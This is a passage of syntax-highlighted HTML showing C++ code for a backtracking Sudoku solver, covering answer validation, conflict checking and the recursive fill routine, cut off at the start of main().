">112</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;('.'&nbsp;==&nbsp;answer[i&nbsp;*&nbsp;9&nbsp;+&nbsp;j]&nbsp;||&nbsp;++hit_h[answer[i&nbsp;*&nbsp;9&nbsp;+&nbsp;j]&nbsp;-&nbsp;'1']&nbsp;!=&nbsp;1)&nbsp;{&nbsp;<span style="color: #008000; ">//</span><span style="color: #008000; ">row&nbsp;check</span><span style="color: #008000; "><br /></span><span style="color: #008080; ">113</span>&nbsp;<span style="color: #008000; "></span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;<span style="color: #0000FF; ">false</span>;<br /><span style="color: #008080; ">114</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<span style="color: #0000FF; ">else</span>&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;('.'&nbsp;==&nbsp;answer[j&nbsp;*&nbsp;9&nbsp;+&nbsp;i]&nbsp;||&nbsp;++hit_v[answer[j&nbsp;*&nbsp;9&nbsp;+&nbsp;i]&nbsp;-&nbsp;'1']&nbsp;!=&nbsp;1)&nbsp;{&nbsp;<span style="color: #008000; ">//</span><span style="color: #008000; ">column&nbsp;check</span><span style="color: #008000; "><br /></span><span style="color: #008080; ">115</span>&nbsp;<span style="color: #008000; "></span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;<span style="color: #0000FF; ">false</span>;<br /><span style="color: #008080; ">116</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">117</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(0&nbsp;==&nbsp;i&nbsp;%&nbsp;3&nbsp;&amp;&amp;&nbsp;0&nbsp;==&nbsp;j&nbsp;%&nbsp;3)&nbsp;{&nbsp;<span style="color: #008000; ">//</span><span style="color: #008000; ">3x3&nbsp;square&nbsp;check</span><span style="color: #008000; "><br /></span><span style="color: #008080; ">118</span>&nbsp;<span style="color: #008000; "></span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">char</span>&nbsp;hit_m[9]&nbsp;=&nbsp;{&nbsp;'\0'&nbsp;};<br /><span style="color: #008080; ">119</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(<span style="color: #0000FF; ">int</span>&nbsp;i2&nbsp;=&nbsp;i;&nbsp;i2&nbsp;&lt;&nbsp;i&nbsp;+&nbsp;3;&nbsp;++i2)&nbsp;{<br /><span style="color: #008080; ">120</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(<span style="color: #0000FF; ">int</span>&nbsp;j2&nbsp;=&nbsp;j;&nbsp;j2&nbsp;&lt;&nbsp;j&nbsp;+&nbsp;3;&nbsp;++j2)&nbsp;{<br /><span style="color: #008080; ">121</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;('.'&nbsp;==&nbsp;answer[i2&nbsp;*&nbsp;9&nbsp;+&nbsp;j2]&nbsp;||&nbsp;++hit_m[answer[i2&nbsp;*&nbsp;9&nbsp;+&nbsp;j2]&nbsp;-&nbsp;'1']&nbsp;!=&nbsp;1)&nbsp;{<br /><span style="color: #008080; ">122</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;<span style="color: #0000FF; ">false</span>;<br /><span style="color: #008080; ">123</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">124</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">125</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">126</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">127</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">128</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">129</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;<span style="color: #0000FF; ">true</span>;<br /><span style="color: #008080; ">130</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">131</span>&nbsp;<br /><span style="color: #008080; ">132</span>&nbsp;<span style="color: #0000FF; ">private</span>:<br /><span style="color: #008080; ">133</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">void</span>&nbsp;AddOneAnswer()&nbsp;{<br /><span style="color: #008080; ">134</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">char</span>&nbsp;buf[82];<br /><span style="color: #008080; ">135</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;buf[81]&nbsp;=&nbsp;'\0';<br /><span style="color: #008080; ">136</span>&nbsp;<br /><span style="color: #008080; ">137</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(<span style="color: #0000FF; ">int</span>&nbsp;i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;9;&nbsp;++i)&nbsp;{<br /><span style="color: #008080; ">138</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(<span style="color: #0000FF; ">int</span>&nbsp;j&nbsp;=&nbsp;0;&nbsp;j&nbsp;&lt;&nbsp;9;&nbsp;++j)&nbsp;{<br /><span style="color: #008080; ">139</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;buf[i&nbsp;*&nbsp;9&nbsp;+&nbsp;j]&nbsp;=&nbsp;m_data[i][j];<br /><span style="color: #008080; ">140</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">141</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">142</span>&nbsp;<br /><span style="color: #008080; ">143</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_all_answers.insert(buf);<br /><span style="color: #008080; ">144</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">145</span>&nbsp;<br /><span style="color: #008080; ">146</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">static</span>&nbsp;<span style="color: #0000FF; ">bool</span>&nbsp;DoesConflict(<span style="color: #0000FF; ">const</span>&nbsp;std::vector&lt;std::vector&lt;<span style="color: #0000FF; ">char</span>&gt;&nbsp;&gt;&amp;&nbsp;data,&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;i,&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;j,&nbsp;<span style="color: #0000FF; ">char</span>&nbsp;digit)&nbsp;{<br /><span style="color: #008080; ">147</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(<span style="color: #0000FF; ">int</span>&nbsp;k&nbsp;=&nbsp;0;&nbsp;k&nbsp;&lt;&nbsp;9;&nbsp;++k)&nbsp;{<br /><span style="color: #008080; ">148</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(digit&nbsp;==&nbsp;data[i][k])&nbsp;{<br /><span style="color: #008080; ">149</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;<span style="color: #0000FF; ">true</span>;<br /><span style="color: #008080; ">150</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">151</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(digit&nbsp;==&nbsp;data[k][j])&nbsp;{<br /><span style="color: #008080; ">152</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;<span style="color: #0000FF; ">true</span>;<br /><span style="color: #008080; ">153</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">154</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">155</span>&nbsp;<br /><span style="color: #008080; ">156</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;i0&nbsp;=&nbsp;i&nbsp;-&nbsp;i&nbsp;%&nbsp;3;<br /><span style="color: #008080; ">157</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;j0&nbsp;=&nbsp;j&nbsp;-&nbsp;j&nbsp;%&nbsp;3;<br /><span style="color: #008080; ">158</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(<span style="color: #0000FF; ">int</span>&nbsp;i2&nbsp;=&nbsp;i0;&nbsp;i2&nbsp;&lt;&nbsp;i0&nbsp;+&nbsp;3;&nbsp;++i2)&nbsp;{<br /><span style="color: #008080; ">159</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(<span style="color: #0000FF; ">int</span>&nbsp;j2&nbsp;=&nbsp;j0;&nbsp;j2&nbsp;&lt;&nbsp;j0&nbsp;+&nbsp;3;&nbsp;++j2)&nbsp;{<br /><span style="color: #008080; ">160</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(digit&nbsp;==&nbsp;data[i2][j2])&nbsp;{<br /><span style="color: #008080; ">161</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;<span style="color: #0000FF; ">true</span>;<br /><span style="color: #008080; ">162</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">163</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">164</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">165</span>&nbsp;<br /><span style="color: #008080; ">166</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;<span style="color: #0000FF; ">false</span>;<br /><span style="color: #008080; ">167</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">168</span>&nbsp;<br /><span style="color: #008080; ">169</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">bool</span>&nbsp;Fill(<span style="color: #0000FF; ">int</span>&nbsp;i,&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;j)&nbsp;{<br /><span style="color: #008080; ">170</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(;&nbsp;i&nbsp;&lt;&nbsp;9;&nbsp;++i,&nbsp;j&nbsp;=&nbsp;0)&nbsp;{<br /><span style="color: #008080; ">171</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(;&nbsp;j&nbsp;&lt;&nbsp;9;&nbsp;++j)&nbsp;{<br /><span style="color: #008080; ">172</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;('.'&nbsp;==&nbsp;m_data[i][j])&nbsp;{<br /><span style="color: #008080; ">173</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(<span style="color: #0000FF; ">int</span>&nbsp;k&nbsp;=&nbsp;'1';&nbsp;k&nbsp;&lt;=&nbsp;'9';&nbsp;++k)&nbsp;{<br /><span style="color: #008080; ">174</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(DoesConflict(m_data,&nbsp;i,&nbsp;j,&nbsp;k))&nbsp;{<br /><span style="color: #008080; ">175</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">continue</span>;<br /><span style="color: #008080; ">176</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">177</span>&nbsp;<br /><span style="color: #008080; ">178</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_data[i][j]&nbsp;=&nbsp;k;<br /><span style="color: #008080; ">179</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(8&nbsp;==&nbsp;j)&nbsp;{<br /><span style="color: #008080; ">180</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(Fill(i&nbsp;+&nbsp;1,&nbsp;0))&nbsp;{<br /><span style="color: #008080; ">181</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;AddOneAnswer();<br /><span style="color: #008080; ">182</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(!m_does_try_all_answers)&nbsp;{<br /><span style="color: #008080; ">183</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;<span style="color: #0000FF; ">true</span>;<br /><span style="color: #008080; ">184</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">185</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">186</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<span style="color: #0000FF; ">else</span>&nbsp;{<br /><span style="color: #008080; ">187</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(Fill(i,&nbsp;j&nbsp;+&nbsp;1))&nbsp;{<br /><span style="color: #008080; ">188</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;AddOneAnswer();<br /><span style="color: #008080; ">189</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(!m_does_try_all_answers)&nbsp;{<br /><span style="color: #008080; ">190</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;<span style="color: #0000FF; ">true</span>;<br /><span style="color: #008080; ">191</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">192</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">193</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">194</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">195</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_data[i][j]&nbsp;=&nbsp;'.';<br /><span style="color: #008080; ">196</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;<span style="color: #0000FF; ">false</span>;<br /><span style="color: #008080; ">197</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">198</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">199</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">200</span>&nbsp;<br /><span style="color: #008080; ">201</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;AddOneAnswer();<br /><span style="color: #008080; ">202</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;<span style="color: #0000FF; ">true</span>;<br /><span style="color: #008080; ">203</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">204</span>&nbsp;<br /><span style="color: #008080; ">205</span>&nbsp;<span style="color: #0000FF; ">private</span>:<br /><span style="color: #008080; ">206</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">bool</span>&nbsp;m_does_try_all_answers;<br /><span style="color: #008080; ">207</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;std::vector&lt;std::vector&lt;<span style="color: #0000FF; ">char</span>&gt;&nbsp;&gt;&nbsp;m_data;<br /><span style="color: #008080; ">208</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;std::<span style="color: #0000FF; ">set</span>&lt;std::<span style="color: #0000FF; ">string</span>&gt;&nbsp;m_all_answers;<br /><span style="color: #008080; ">209</span>&nbsp;};<br /><span style="color: #008080; ">210</span>&nbsp;<br /><span style="color: #008080; ">211</span>&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;main(<span style="color: #0000FF; ">int</span>&nbsp;argc,&nbsp;<span style="color: #0000FF; ">char</span>*&nbsp;argv[])&nbsp;{<br /><span style="color: #008080; 